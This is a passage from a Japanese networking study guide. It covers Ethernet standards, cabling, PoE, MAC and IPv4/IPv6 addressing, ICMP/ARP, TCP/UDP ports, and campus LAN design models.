またAuto MDI/MDI-X機能がある機器ではケーブルのタイプを気にすることなく接続可能である。

1.3.2.4. イーサネットの規格

イーサネットはIEEE 802.3 委員会により標準化され以下のような規格がある。

なおTが付く規格はUTPケーブル(つまりLANケーブル)が使用されていること、Fが付く規格は光ファイバが使用されていることを示す。

規格伝送速度ケーブル種類伝送距離予備説明
10BASE-210Mbps同軸185m
10BASE-510Mbps同軸500m
10BASE-T10MbpsUTP,STP100m
10BASE-F10Mbps光ファイバ1000/2000m
100BASE-TX/T2/T4100MbpsUTP100m
100BASE-F100Mbps光ファイバ0.2/20kmFastEthernet
1000BASE-T/TX1GbpsUTP100mGigaEthernet
1000BASE-SX/LX1Gbps光ファイバ0.55/5kmGigaEthernet
1000BASE-CX1Gbps同軸25mGigaEthernet
10GBASE-T10GbpsUTP100m
10GBASE-LR10Gbps光ファイバ10km
10GBASE-SR10Gbps光ファイバ300m

イーサネットの規格の覚え方

LANによく使われるUTPはカテゴリに分けられる。

カテゴリ対応規格
Cat5E100BASE-TX, 1000BASE-T
Cat61000BASE-T, 1000BASE-TX
Cat6A10GBASE-T
Cat710GBASE-T
カテゴリ最大伝送速度最大伝送距離最大周波数
Cat310Mbps100m16MHz
Cat410Mbps100m20MHz
Cat5100Mbps100m100MHz
Cat5E1Gbps100m100MHz
Cat610Gbps55m250MHz
Cat6A10Gbps100m500MHz
Cat710Gbps100m600MHz

1.3.2.5. PoE

PoEはイーサネットケーブルで電力を供給する仕組み。 コンセントがない場所やIP電話、アクセスポイントなどへの電力供給で使用する。

通常はL2スイッチが給電機器(PSE)として電力を供給し、受電機器(PD)と呼ぶ。

PoEはCat5以上のイーサネットケーブルを利用する。

またCissco製の場合、PSEはPDからのCDP情報に基づいてPoEの電力クラスを割り当てる。 他社製品を使う場合はCDP情報に基づいて電力クラスを割り当てることができない。 そのためデフォルトでポートに最大電力を割り当てる。

PoEはPSE-PD間で電力供給前にネゴシエーションが行われ電力供給すべきか自動で判断する。またPDの消費電力がPSEの供給電力を上回る場合は、ポートを自動シャットダウンしDisable状態にするため、電力不足になりPSE自体が止まるのを阻止する機能がある。

またPoEには以下規格がある。

名称供給能力使用対数
PoE15W2対
PoE+30W2対
UPoE60W4対

1.3.2.6. 光ファイバケーブル

光ファイバーケーブルは大きくSMFMMFの2種類に分けられる。 またコアとクラッドというパーツで構成される。

SMFは単一の伝搬炉モードを提供するケーブルで、光が分散しにくいため長距離伝送に向いている。 MMFは複数の伝搬モードを提供するケーブルで、光が分散しやすいため長距離伝送に向いていない。

SMF、MMFは帯域幅や伝送距離によって分類されそれぞれコア径が異なる。またSMFでは接続に使用する光トランシーバがMMFより高価なため、SMFのほうが導入コストがかかる

規格モードコア佳
OS1SMF8~10μm
OS2SMF8~10μm
OM1MMF62.5μm
OM2/3/4/5MMF50μm

1.3.2.7. コネクタ

コネクタはケーブルとネットワーク機器を接続する部分でLCコネクタSCコネクタの2種類がある。 LCコネクタはSFPモジュール(光トランシーバ)に接続し、SCコネクタはGBICトランシーバに接続する。

SFPモジュールの特徴としてはホットスワップ(≒ホットプラグ)に対応している。

1.3.2.8. イーサネットインターフェイスの種類

種類最大伝送速度表示記号例
Gigabit Ethernet1GbpsGi0/1
Fast Ethernet100MbpsFa0/1
Ethernet10MbpsE0/1

特徴として対向と異なるインターフェースで接続している場合は、通信速度の遅い方にあわせて動作する。

イーサネット

1.3.3. イーサネットLANのデータ転送

1.3.3.1. イーサネットのアドレス(MACアドレス)

MACアドレスはNIC(インターネットインターフェスカード)に割り振られている識別子であり、物理アドレスとも呼ばれる。

48bit(6Byte)で構成され、OUIとベンダーが独自に割り当てるIDで構成される。

MACアドレスの種類

アドレスの種類説明
ユニキャストアドレス単一の機器を識別するためのMACアドレス
マルチキャストアドレスネットワーク上の特定グループを識別するMACアドレス。最初の24bitが0x01, 0x00, 0x5Eで25bit目が0となり、残りのビットはIPアドレスから算出。
ブロードキャストアドレスネットワーク上のすべての機器を指定するためのMACアドレス。 48bitのすべてが1のFF-FF-FF-FF-FF-FFがブロードキャストアドレス

1.3.3.2. イーサネットフレーム

イーサネットで扱うデータをイーサネットフレームと呼ぶ。 イーサネットフレームには主に二種類あり、IEEE802.3形式とEthernet 2形式があり、現在普及しているのは後者のEthernet2形式である。

イーサネット

プリアンブルは1/0のビット列信号で、イーサネットフレームでは通信の同期をとるために使用される。

FCSは受信したデータに誤りがないかチェックするためのものである。

1.3.3.3. 半二重通信と全二重通信

イーサネットでは半二重通信全二重通信で通信を行う。

半二重通信ではデータの送受信を同時に行わず、送信側受信側が交互にデータをやり取りする方式となる。 半二重通信の環境は同軸ケーブルやリピータハブの接続などがある。

全二重通信はデータの送受信が同時に行える方式である。 一般的にツイストペアケーブル(LANケーブル)が使用される環境下ではほとんどが全二重通信となる。

1.3.3.4. CSMA/CDによるアクセス制御

半二重通信では同時にデータを送信するとコリジョンが発生する。 アクセス制御をすることで通信を制御しデータの送受信をスムーズにできるようにする。

半二重通信ではCSMA/CD方式でアクセス制御を行う。

CSMA/CD方式では通信端末はルート上にデータが流れていないか確認してからデータを送信します。またその後データの衝突が発生していないか監視する。データの衝突が発生した場合はジャム信号を送信し、回線を占有中のほか端末はその信号を受け取るとデータの送信を中止し、ランダム時間待機後にデータを再送信する。

1.3.4. イーサネットLANの機器

1.3.4.1. リピータハブ

リピータハブは受信した電気信号を中継する機器で端末から届いた電気信号の増幅と整流機能がある。 また宛先を見る機能はないためポートから電気信号を受信すると、受信したポート以外のすべてのポートにデータを送信する

リピータハブ

1.3.4.2. L2スイッチ(スイッチングハブ)

L2スイッチはOSI階層モデルのデータリンク層で動作する機器で、リピータハブと異なり目的の場所にデータの送信が可能で、同時に複数端末と通信も可能である。

L2スイッチにはフィルタリング機能、MACアドレスの学習、フロー制御の3機能がある。

スイッチングハブ

1.3.5. L2スイッチの仕組みと機能

1.3.5.1. L2スイッチの3機能

フィルタリング機能はポートに接続している端末のMACアドレスを紐づけたMACアドレステーブルを宛先MACアドレスを基に検索し該当するポートにデータを送信する機能を指す。これはフィルタリングと呼ばれる。

MACアドレスの学習は以下の手順で実行される。

  1. 端末からフレームを受信し、送信元MACアドレスと受信ポートを紐づけMACアドレステーブルに登録する
  2. 宛先MACアドレスがMACアドレステーブルに存在しない場合、受信したポート以外のすべてのポートにフレームを送信(フラッディング)
  3. 宛先の端末だった場合データを受信、そうでない場合は破棄
  4. 1から3を繰り返してMACアドレステーブルにMACアドレスと受信ポートの情報が登録されていく

なお学習したMACアドレスは一定時間が経過するとMACアドレステーブルから削除される。これはMACアドレスのエージングと呼ばれる。

フロー制御はL2スイッチ上のバッファメモリ(受信したフレームが一時保存される場所)の処理が追い付かなくなり、あふれそうになった時に接続ポートに信号を送り、フレーム送信を制御する機能のこと。

フロー制御はバックプレッシャ制御IEEE802.3xフロー制御の2種類存在する。

バックプレッシャ制御はCSMA/CD方式を応用した制御でIEEE802.3xフロー制御はPAUSEフレームを基にした制御を行う。

1.3.5.2. フレームの転送方式

L2スイッチのフレーム転送方式にはいくつかあるが、主流なのはストアアンドフォワード方式である。

転送方式説明
カットスルーフレーム先頭6バイトを読み込み転送する。転送速度は速い一方、通信品質は良くない
フラグメントフリーフレーム先頭64バイトを読み込み転送する。転送速度はストアアンドフォワードより良く、通信品質はカットスルーより良い
ストアアンドフォワード1フレーム全体を受信した後メモリに保存しFCSによってエラーチェックを行い問題がない場合転送する。転送速度は遅いが通信品質が最も良い

1.3.5.3. コリジョンドメインとブロードキャストドメイン

コリジョンドメインはコリジョンが起こる範囲のことを指す。 リピータハブに接続される端末で構成されるネットワークは1つのコリジョンドメインとなる。

またコリジョンドメインで1台の端末だけが帯域を占有できるようにする構成はマイクロセグメンテーションと呼ばれる。これはコリジョンドメインを分割することになるので、これを行うと通信効率が良くなる。

ブロードキャストドメインはブロードキャストが届く範囲のことを指す。

ネットワークの機器コリジョンドメインブロードキャストドメイン
ルータ分割される分割される
ブリッジ/L2スイッチ分割される分割されない
リピータハブ分割されない分割されない

1.3.5.4. オートネゴシエーション

オートネゴシエーションは接続ノードにより、自動で通信速度や通信のモード(半二重通信/全二重通信)を切り替える機能を指す。

オートネゴシエーションはノード間でFLP(Fast Link Pulse)バーストを交換し合うことで相手の通信速度や通信モードの検知を行い、優先順位表に従ってそれらを決定する。

オートネゴシエーションは最近のほとんどのルータ/L2スイッチ/L3スイッチに搭載されているが、片方の通信速度や通信タイプを固定、またはオートネゴシエーションを無効にする場合、オートネゴシエーションによる通信が非常に不安定となる。

1.4. ネットワークの構成要素

1.4.1. 通信媒体とデータリンク

データリンクのプロトコルは直接接続された機器間(レイヤー2)で通信するプロトコルである。

データリンク名規模通信媒体
Ethernet(イーサネット)LAN同軸、ツイストペアケーブル、光ファイバ
Fast EthernetLANツイストペアケーブル、光ファイバ
Gigabit EthernetLAN光ファイバ
FDDILAN~WAN光ファイバ、ツイストペアケーブル
ATMLAN~WAN光ファイバ、ツイストペアケーブル
X.25WANツイストペアケーブル
Frame RelayWANツイストペアケーブル、光ファイバ
ISDNWANツイストペアケーブル、光ファイバ

1.4.2. ネットワークの構成機器

1.4.2.1. ネットワークインターフェス(NIC)

ネットワークインタフェース(NIC)はコンピュータをネットワークに接続するための装置である。

NIC

1.4.2.2. リピータ

リピータはネットワークを延長する装置。 ケーブル上に流れてきた電機や光の信号を増幅や波形整形などを行う。 これらの信号はあくまで信号を整形するだけであるため、エラーフレームもそのまま再送される。

ネットワークの延長ではリピータの段数制限がある場合がある。これは少しずつ波長が乱れ信号を正しく識別できなくなるため。

1.4.2.3. ブリッジ/リピータハブ/L2スイッチ

リピータハブは受信した電気信号を中継する機器で端末から届いた電気信号の増幅と整流機能がある。 また宛先を見る機能はないためポートから電気信号を受信すると、受信したポート以外のすべてのポートにデータを送信する。

L2スイッチとブリッジは以下の様な違いがある。

ブリッジL2スイッチ
処理ソフトウェア主体ハードウェア主体
処理速度遅い早い
ポート密度2~16複数
ポート仕様MDIMDI-X

L2スイッチではCPUではなくASICと呼ばれるチップでデータ転送処理が行われる。

1.4.2.4. ルータ/L3スイッチ

ルータはネットワーク層の処理を行い、ネットワーク間の接続をしパケット転送を中継する装置。

ルータにはプライベートアドレスとグローバルアドレスを変換するNATの機能があり、L3スイッチ(マルチレイヤスイッチ)にはLANを論理的に分割するVLANの機能がある。

ルータL3スイッチ
処理ソフトウェア/ハードウェアハードウェア
速度低速~高速処理高速処理
インターフェスLANインターフェス数が少ないインターフェス数が多い
拡張性低い~高い低い
価格安価~高価高価
利用規模小~大規模大規模
機能少ない~多い少ない

1.4.2.5. ゲートウェイ

ゲートウェイはOSI参照モデルにおけるトランスポート層からアプリケーション層までの階層においてデータを中継する装置のことを指す。

ゲートウェイは互いに直接通信できない2つの異なるプロトコルの翻訳作業を行い互いに通信可能にするものである。

1.5. ネットワーク層の機能と概要

1.5.1. ネットワーク層の概要とルーティング

ネットワーク層(L3)には通信相手のアドレスを指定するアドレッシングと目的の場所までのルートを選択するルーティングがある。

ネットワーク層ではIPがこれらの機能を提供する。

IPで扱うデータはIPパケットと呼び、IPヘッダはそこに含まれIPアドレスはIPヘッダに含まれる。

1.5.2. IPアドレッシングとIPヘッダ

IPアドレスはMACアドレスが物理アドレスと呼ばれるのに対し、論理アドレスと呼ばれる。

IPヘッダはIPアドレスを含み以下のようなフォーマットとなる。

IPヘッダ

IPアドレスにはIPv4アドレスとIPv6アドレスの2種類があり、IPアドレスといえば基本的にはIPv4のアドレスを指す。

またL3ヘッダからデータはMTUと呼ばれ1回の転送で送信可能な最大のパケットサイズを示す。

1.5.3. ルータとルーティングテーブル

IPパケットの転送には宛先に向かうための最適ルートの情報が登録されているルーティングテーブルを参照し、宛先の該当ルートがあればパケットを転送する。

上記の機能はルーティングと呼ばれる。

1.6. IPv4アドレッシング

1.6.1. IPv4アドレス

現在多くのネットワークで使用されているIPのバージョンはIPv4で32bitのサイズとなっている。

IPv6はIPv4アドレスが将来的に枯渇する懸念を受け新しく作成されたプロトコルである。

IPv4アドレスの消費を抑えるためのプライベートIPアドレス(RFC1918)やNAT(RFC1631)は同じくIPv4アドレスの消費を抑えるための規格にあたる。

1.6.2. プライベートアドレスとグローバルアドレス

IPアドレスはインターネット上で利用されるグローバルIPアドレスプライベートIPアドレスに分類される。

プライベートIPアドレス

プライベートIPアドレスの範囲のIPアドレスは同一LAN内で重複しない限りは自由割り当てが可能で、グローバルIPアドレスへの変換はNATで行う。

グローバルIPアドレス

インターネット(広義ではWAN)でやりとりされるIPアドレスで一意。

1.6.3. IPv4アドレスのクラスと特別なアドレス

1.6.3.1. IPv4アドレスのクラス

IPv4アドレスはネットワーク規模によって5つのクラスに分けられます。 これはサブネットマスクがないころにIPアドレスのネットワーク部とホスト部の境界範囲を分けるのに使用されていました。

クラス範囲ネットワーク部ホスト部割り当て可能ネットワーク数
A0.0.0.0 ~ 127.255.255.2558bit24bit126
B128.0.0.0 ~ 191.255.255.25516bit16bit16384
C192.0.0.0 ~ 223.255.255.25524bit8bit2097152
D224.0.0.0 ~ 239.255.255.255IPマルチキャスト用
E240.0.0.0 ~ 255.255.255.255実験用の予約

インターネット普及当時、クラスAは大規模ネットワーク用、クラスBは中規模ネットワーク用、クラスCは小規模ネットワーク用で使用されていましたが、IPv4アドレス枯渇問題懸念後はサブネットマスクを使用したIPアドレス分配が進むようになりました。

クラスに沿ったアドレス割り当てをクラスフル、サブネットマスクによるアドレス割り当てをクラスレスと呼ぶ。

1.6.3.2. IPv4アドレスの特別クラス

IPアドレスには予約されており、ホストに割り当てられないものがあり、それは予約済みIPアドレスと呼ばれ以下のようなものがある。

範囲(1バイト目)用途
0デフォルトルートに使用
127ローカルループバックアドレス等に利用
224~239IPマルチキャストアドレスとして利用
240~255実験などのために予約

特殊なアドレスには以下のようなものがある。

特殊なアドレス範囲説明
プライベートアドレス10.0.0.010.255.255.255, 172.16.0.0172.31.255.255, 192.168.0.0~192.168.255.255LAN内で自由に割り当てられるアドレス
ローカルループバックアドレス127.0.0.1~127.255.255.254ネットワーク機器自身のアドレス(Localhost)
リンクローカルアドレス169.254.0.0~169.254.255.255DHCP環境下でIPアドレスが割り当てられない際に割り当てられる
ネットワークアドレス-ホストがすべて0のアドレス
ブロードキャストアドレス-ホストのビットがすべて1(255)のアドレス

1.6.4. IPアドレスとサブネットマスク

1.6.4.1. IPアドレスの構成

IPアドレスはネットワーク部ホスト部に分けられ、IPv4の場合は32bitでIPアドレスは構成される。

ネットワーク部の長さは一定ではなく、割り当てられたIPアドレスにより異なり、それを表すのにサブネットマスクを使用する。

1.6.4.2. サブネットマスク

サブネットマスクはIPアドレスと同じく32bitで構成され、IPアドレスとサブネットマスクをAND演算(論理積)をとるとネットワークアドレスを算出できる。

またサブネットマスクを/24のように表記する方法はCIDR表記と呼ばれ、/24の数字部分はプレフィックス長と呼ばれる。

例:192.168.11.1/22

上記の場合ネットワーク部は左から22bitで、残り10bitがホスト部となる。 ホスト部のアドレスがすべて1のアドレスはブロードキャストアドレスとなる。

下記式で割り当てに必要なホスト部のビット数を算出可能。

2^n - 2 ≧ 使いたいアドレス数 nがホスト部のビット数となる。

1.6.5. サブネット化

サブネット化は1つのネットワークを複数の小さなネットワークに分割することを指す。これはセキュリティの向上、ブロードキャストの制御、IPアドレスの節約などのメリットがある。

なお各IPアドレスのクラスとサブネットのプレフィックス長はデフォルトでは以下関係。

クラスプレフィックス長
A8
B16
C24

サブネット化のための分割可能なサブネット数や接続可能なホスト数は以下式で求められる。

サブネット数 = 2^n :nはサブネット部(サブネットのプレフィックス長-クラスによるIPアドレスのプレフィックス長)のbit数

VLSM

元のネットワークを分割した際に分割したネットワークですべて同じプレフィックス長を使うことはFLSM(固定長サブネットマスク)と呼ばれる。

逆にVLSM(可変長サブネット)は1つのネットワークを異なるサブネット長で複数のサブネットに分割することを指す。

1.7. IPv6アドレッシング

1.7.1. IPv6アドレス

IPv6アドレスはIPv4の枯渇問題の根本解決手段として用意されたプロトコルである。

また以下のような特徴が上げられる。

  • IPアドレス自動設定
  • ブロードキャストアドレスの廃止
  • パケットヘッダ簡素化
  • 階層化されたアドレス
  • セキュリティ/モビリティ強化

また簡単に種類をまとめると以下のようになる。

アドレスの種類タイプ割り当て範囲説明
ユニキャストグローバルアドレス2000::/3世界中で一意となるアドレス。IANAにより管理
ユニキャストリンクローカルアドレスfe80::/10ホスト間で一意となる
ユニキャストユニークローカルアドレスfc00::/7(fc00::/8,fd00::/8)LAN内で自由に使えるプライベートアドレスのようなもの
マルチキャストマルチキャストアドレスff00::/8マルチキャスト用のアドレス

1.7.1.1. IPv6アドレスの特徴

IPv4は32bitで約43億個使用できるのに対し、IPv6アドレスは128bitで2^128個使用可能。

またIPv6アドレスは「手動設定」「DHCPサーバによる設定」「SLAACによる設定」が行える。

SLAACはオートコンフィギュレーションと呼ばれ以下手順でIPv6アドレスを生成します。

  1. ルータがLAN上ホストにネットワークアドレスを送信
  2. ホスト側で受信したネットワークアドレスとホストのMACアドレスからIPv6アドレスを生成(EUI-64形式)

またネットワークに接続するために必要な情報を自動で設定する機能はプラグアンドプレイと呼ばれる。

IPv6

1.7.1.2. IPv6アドレスの表記と構造

IPv6アドレスはサブネットプレフィックスインターフェスIDに分ける構造となっている。

サブネットプレフィックスはネットワークを表し、インターフェスIDがホスト部を表す。

IPv6アドレスは16進数8フィールドで構成され、後ろの/以下はサブネットプレフィックス長を示す。

IPv6

IPv6アドレスは省略記法が可能で以下ルールに基づく。

  • 各フィールドの先頭0は省略する
  • 0000のフィールドが連続する場合1回だけ::に省略する

IPv6アドレスはインターフェスIDを手動生成するか、EUI-64形式で自動生成が可能で、EUI-64形式ではMACアドレスから自動生成される。

インターフェスIDをEUI-64で生成する場合の手順は以下。

  1. 48bitのMACアドレスを半分に分ける
  2. 16bitのFFFEを真ん中に挿入
  3. 先頭から7bit目を反転させる
  4. 16進数に戻すことでインターフェスIDとなる

また、IPv6の機能には「エラー通知」「近隣探索(NDP)」がある。

1.7.2. IPv6アドレスの種類

IPv6アドレスにはユニキャストアドレスマルチキャストアドレスエニーキャストアドレスの3種類存在する。

1.7.3. IPv6ユニキャストアドレスの種類

IPv6のユニキャストアドレスの種類。

種類説明
グローバルユニキャストアドレスインターネット上で一意のアドレス。集約可能である。
リンクローカルユニキャストアドレス同じサブネット上で通信可能なアドレス
ユニークローカルユニキャストアドレスローカルで使用されるアドレス。Ipv4でいうプライベートアドレス
サイトローカルユニキャストアドレス特定のサイトのみデイ利用可能(現在は利用されない)

1.7.3.1. グローバルユニキャストアドレス

IANAが割り振っているグローバルユニキャストアドレス(集約可能グローバルアドレス)は最初の3bitは001で始まり、2000::/3と表記が可能。

さらに以下表のように分類可能

アドレス範囲使用用途
2001::/16インターフェス用IPv6アドレス
2002::/166to4用アドレス
2003::/16 ~ 3FFD::/16未割り当て

グローバルユニキャストアドレス

前半48bitはグローバルルーティングプレフィックスと呼ばれ、ISPから割り当てられるものとなっている。

1.7.3.2. リンクローカルユニキャストアドレス

リンクローカルユニキャストアドレスは最初の10bitが1111111010で始まり、FE80::/10で表記される。

リンクローカルユニキャストアドレスは同一リンク内での通信に利用されるため必須。また必ずインターフェスに設定される。

特徴としては以下の通り。

  • ホスト間で一意になる
  • IPv6を扱うインターフェース全てに設定される
  • 手動で設定しない場合は自動生成されたリンクローカルアドレスが設定される
  • ルーティングの宛先になれない

1.7.3.3. ユニークローカルユニキャストアドレス

ユニークローカルユニキャストアドレスは最初の7bitが1111110で始まり、FC00::/7(または FC00::/8, FD00::/8)と表記される。 なお実際に割り当てられるアドレスはFC00::/8となる。

ユニークローカルユニキャストアドレスはWANでは使用されず、LANのプライベートIPアドレスに該当する。

IPv4のプライベートアドレスとの違いは、LAN内で重複しないようにすることが推奨されている。 これはグローバルで一意である確率が高くアドレスの競合が発生しにくいが、完全に一意であるという保証がないためである。

1.7.3.4. 特殊なユニキャストアドレス

用途が決まっている特殊なユニキャストアドレスを記載する。

アドレス説明
未指定アドレス全ビットが0のアドレス。DHCPv6サーバからアドレス取得の際に使用される。
ループバックアドレス自分自身を表す。::1と表記される
IPv4射影アドレス先頭80bitすべて0、次の16bitすべて1、残り32bitがIpv4アドレスで構成される

1.7.4. IPv6マルチキャストアドレス

マルチキャストアドレスは特定のグループに対しての通信の際のあて先となる。 IPv6で廃止されたブロードキャストアドレスは、マルチキャストアドレスに機能的に統合されている。

マルチキャストアドレスの最初は11111111で始まりFF00::/8と表記される。

マルチキャスト

フラグはマルチキャストアドレスのタイプを示す。 0000と0001があり、それぞれIANA割り当て、一時割り当てされたマルチキャストアドレスという意味になる。

スコープはマルチキャストアドレスの有効範囲を表す。

16進数表記フィールド説明
00011FF01インターフェイスローカル有効範囲
00102FF02リンクローカルの有効範囲
01015FF05サイトローカルの有効範囲
10008FF08組織ローカルの有効範囲
1110EFF0Eグローバルの有効範囲

予約済みマルチキャストアドレス

以下のマルチキャストアドレスはIANAにより予約済みである。

アドレス説明
FF02::1すべてのノードを示す
FF02::2すべてのルータを示す
FF02::5すべてのOSPFが操作しているルータを示す
FF02::6すべてのOSPF DR・BDRを示す
FF02::9すべてのRIPルータを示す
FF02::aすべてのEIGRPルータを示す
FF02::1:FFxx::xxxx要請ノードマルチキャストアドレス(IPv6アドレスとMACアドレス解決に使用)

1.7.5. IPv6エニーキャストアドレス

エニーキャストアドレスは複数機器に同じアドレスを割り当て、ネットワークで一番近いところと通信する際に使用されるアドレスとなる。

1.7.6. IPv6アドレスのステートレス自動設定

IPv6のユニキャストアドレスを割り当てる仕組みは3種類ある。

方法説明
手動設定プレフィックスとインターフェスIDを手動で危機に設定
DHCPv6サーバによる自動設定DHCPサーバに割り当ててtもらう方法 (ステートフルアドレス設定と呼ばれる)
オートコンフィギュレーションによる自動設定ステートレスアドレス自動設定(SLAAC)と呼ばれる

1.7.6.1. ステートレスアドレス自動設定(SLAAC)

SLAACの際はNDP(Neighbor Discovery Protocol)を使用します。これによりデータリンク層のアドレス解決、アドレスの重複チェックも行える。 つまりNDPはIPv6用のICMPのようなものと言える。

NDPで使用されるメッセージは以下の通り。

種類ICMPv6タイプ説明
NS135特定ノードのMACアドレスを解決するための要求を表し、IPv4のARPパケット要求のようなもの
NA136NSに対する応答を示し、IPv4のARP応答と同じ
RS133端末からルータに向けて、プレフィックスやデフォルトゲートウェイが知りたい場合に利用される
RA134RSへの応答を示す。ルータからは定期的に配信される

またSLAACの動作は以下の通りです。

  1. クライアントがNS/NAメッセージを利用し自身のリンクローカルユニキャストアドレスを決める
  2. ICMPv6パケットにタイプ133を設定しリンクローカル内の全ルータ宛て(FF02::2)にRSメッセージを送信
  3. RSメッセージを受け取ったルータはRAメッセージをクライアントに転送
  4. クライアントはRAメッセージからプレフィックスを受け取り自身のMACアドレスから作成したEUI-64形式のインターフェスIDを付加しIPv6アドレスとして設定する

1.7.6.2. IPv6のMACアドレス解決

IPv6ではICMPv6パケットのNSやNAを利用してMACアドレス解決を行う。

またNSメッセージはARP解決だけではなく、自身のIPv6アドレスが他の機器と重複していないかを調べるのにも利用され、これはDAD(duplicate Address Detection)と呼ばれる。

1.7.7. IPv6パケットヘッダの構成

IPv6ヘッダはIPv4のアドレスと比べると簡素化されている。 またサイズは固定の40Byteとなる。

IPv6ヘッダ

フローラべルはリアルタイム処理の場合、サービス品質の保証等を行いたい場合に使用される。

ホップリミットはパケットが経由するルータの最大数を表しIPv4のTTLと同じ。

1.7.8. IPv6の変換/移行技術

現在のネットワークはIPv4とIPv6を両用しています。 IPv4アドレスとIPv6アドレスの変換のための技術がいくつか存在します。

1.7.8.1. デュアルスタック

デュアルスタックはIPv4/IPv6アドレスを1つのノードで共有させる仕組み。クライアントにIPv4/IPv6のアドレスを両方を設定しておき通信時に使い分ける。

1.7.8.2. トンネリング

トンネリングはIPv4ネットワークを経由してIPv6で通信させるための技術。通信プロトコルを別のプロトコルでカプセル化して異なるネットワークを経由させることができる。

トンネリング

トンネリングには以下技術がある。

種類説明
手動トンネル終端ルータでIPv4の送信アドレスと宛先アドレスを相互に設定してトンネルを確立
6to4ルータ間でトンネル生成し、受信したIPv6宛先アドレスから自動的にIPv4宛先を指定
ISATAPIPv4ネットワークのIPv4対応ホストがIPv6ネットワークに接続するようにするためのトンネル
Teredoインターネット上のTerodoサーバと連携しトンネルを自動生成
GREIPv6だけではなく様々なネットワーク層のパケットをカプセル化して転送する

1.7.8.3. トランスレータ

トランスレータはIPv6アドレスをIPv4アドレスに変換、またはその逆を行う技術を指す。

パケットを再度カプセル化せず、完全に変換を行う。

名称説明
NAT-PTルータがIPv6パケットをIPv4パケットに変換する。ドメイン変換が必要な場合はDNS-ALGと連携
NAT64ステートフルNAT64、ステートレスNAT64の2種類存在

1.8. ICMPとARP

1.8.1. ICMP

ICMPはネットワーク上での通信状況確認や通信わらーのメッセージ送信などを主な用途として使われるプロトコルである。

疎通確認に使われるpingコマンドはICMPを利用し、応答の有無で通信可能かどうかを判断する。 pingコマンドはICMPのエコー要求エコー応答を利用し通信の可否を判断する。

ネットワークのルート上で設定変更やエラーが発生した場合ICMPで定義されているエラー通知を送信する。到達不能の場合エコー応答の代わりに到達不能メッセージを返却する。

1.8.2. ARP

ARPはIPアドレスからMACアドレスを求めるプロトコルである。 ARPではARP応答とARP応答の2種類のデータを送信しあいMACアドレスを取得する。

ARPの結果はARPテーブルに保存されそこにはIPアドレスとMACアドレスの対応関係が登録される。

またARP要求はブロードキャストで送信されるため宛先MACアドレスはffff.ffff.ffffが使用される。

1.9. TCP/UDPとポート番号

TCPとUDPはトランスポート層(L4)のプロトコルでアプリケーション層のプロトコルでの通信制御をすることが目的である。

1.9.1. TCP

TCPはコネクション型のプロトコルであり、データ転送前に通信できるかどうか確認を行いコネクションを確立してからデータの送信を行う特徴がある。

TCPは上位層から渡されたデータにTCPヘッダを追加し、TCPセグメントとしてネットワーク層にデータを流す。

TCPヘッダ

代表的なパラメータの解説は以下。

パラメータ説明
シーケンス番号送信データの順序を管理するためのもの
ACK番号どこまで受信したか管理する番号
ウィンドウサイズ確認応答を行わず受信できるデータサイズ

TCPの接続

TCPでは3ウェイハンドシェイクという方法で接続を確立する。

3wayhandshake

SYNフラグはTCP接続の開始を要求する際に使用されるフラグで、ACKフラグは相手からの要求を承認し応答するフラグ。

シーケンス番号は送信データ順序、ACK番号はどこまで受信したかを通知するための番号である。

送信データの順序管理

TCPセグメントで1回に送信できるデータには上限がありそれはMSS(Maximum Segment Size)と呼ばれる。

TCPはデータの信頼性の担保のためにACKと呼ばれる確認応答を必ず返す。

またデータ送信後にACKフラグがオンになった確認応答を受け取るが、確認応答が返ってこない場合、一定時間待機した後にデータを再送する。これはRTO(Retransmission Time Out):再送タイムアウトと呼ばれ、RTOはデータ送信から応答が返ってくるまでの時間を表すRTTを基に判断される。

ウィンドウ制御とフローの制御

TCPの基本動作はACKフラグがONになった確認応答が返送されるものだが、1つ送信するたびにACKを待っていたら効率が悪い。

そこでウィンドウというバッファ領域を用意し、ウィンドウサイズに達するまでは確認応答を待たずにデータをまとめて送るようにすることで転送の効率が上がる。 これはウィンドウ制御と呼ばれる。

ウィンドウサイズを制御しやり取りするデータ量を調整する機能はフロー制御と呼ばれる。

1.9.2. UDP

UDPはコネクションレス型のプロトコルで信頼性は保証されず、相手の状態に関係なくデータの送信を開始する。TCPでは1対1のユニキャスト通信となるが、UDPではブロードキャストやマルチキャストが可能。

UDPでは上位層から渡されたデータにUDPヘッダを付けて、それをUDPデータグラムとしてネットワーク層に渡す。またUDPヘッダを除いたデータ部分はUDPペイロードと呼ばれる。

TCPヘッダ

UDPの動作

UDPはなるべく早くデータを送信することが目的としてある。 そのためTCPよりも単純構造でヘッダもTCPが20Byteに対してUDPは8Byteしかない。

TCPは信頼性を担保するギャランティ型であるのに対し、UDPは信頼性を担保しないベストエフォート型となる。

1.9.3. ポート番号

ポート番号はアプリケーション層で利用されるプロトコルの識別番号を指す。

代表的なものは以下より。

ポート番号プロトコルL4プロトコル説明
20FTPTCPFTPデータ送信
21FTPTCPFTPデータ制御
22SSHTCPセキュアなリモート接続
23TelnetTCP平文でのリモート接続
25SMTPTCPメール送信
53DNSTCP/UDPドメイン名とIPアドレスの関連付け
67DHCPUDPDHCPサーバ送信用
68DHCPUDPDHCPクライアント送信用
69TFTPUDP認証なしファイル転送
80HTTPTCPHTML文書などの公開
110POP3TCPメール受信
123NTPUDP時間同期用プロトコル
143IMAPTCPメール送信
443HTTPSTCPHTML文書などのセキュア通信で公開

ポート番号は以下のように分類される。

名称ポート範囲説明
ウェルノウンポート0~1023IANAにより定義されたサーバのアプリに割り当てられるポート
登録済みポート1024~49151独自に定義されたアプリで使用されるポート
ダイナミックポート49152~65535サーバとクライアントのアプリのプロセスに応じて自動割り当てされ使用されるポート

1.10. ネットワークの構成モデル

1.10.1. キャンパスLANモデル

企業/機関などの規模の大きいLANのネットワークには一般的に階層設計が適用されている。役割や機能ごとに層を分けることで拡張性、管理性を向上することが可能。

ネットワーク機器の世界的大手のCISCO社はいくつかの構成モデルを提唱している。

1.10.2. 3階層キャンパスモデル(Three-Tier Campus Design)

3階層キャンパスモデルは3つの層で構成される大規模な環境向けのネットワーク設計

3階層

説明
コア層ディストリビューション層のL3スイッチやルータを収容し、大量のパケットの処理を行う
ディストリビューション層アクセス層のL2スイッチを収容し、VLANルーティングを行う、またセキュリティポリシに基づいたフィルタリングを行う
アクセス層アクセス層同士は接続せず、L2スイッチには多くのポートが必要、また結線はスター型になる

1.10.3. 2階層キャンパスモデル(Two-Tier Campus Design)

2階層キャンパスモデルは3階層モデルにおけるコア層を省略したネットワーク設計。コア層がなくなっているためコラプストコア設計とも呼ばれる。小規模ネットワーク向け

2階層

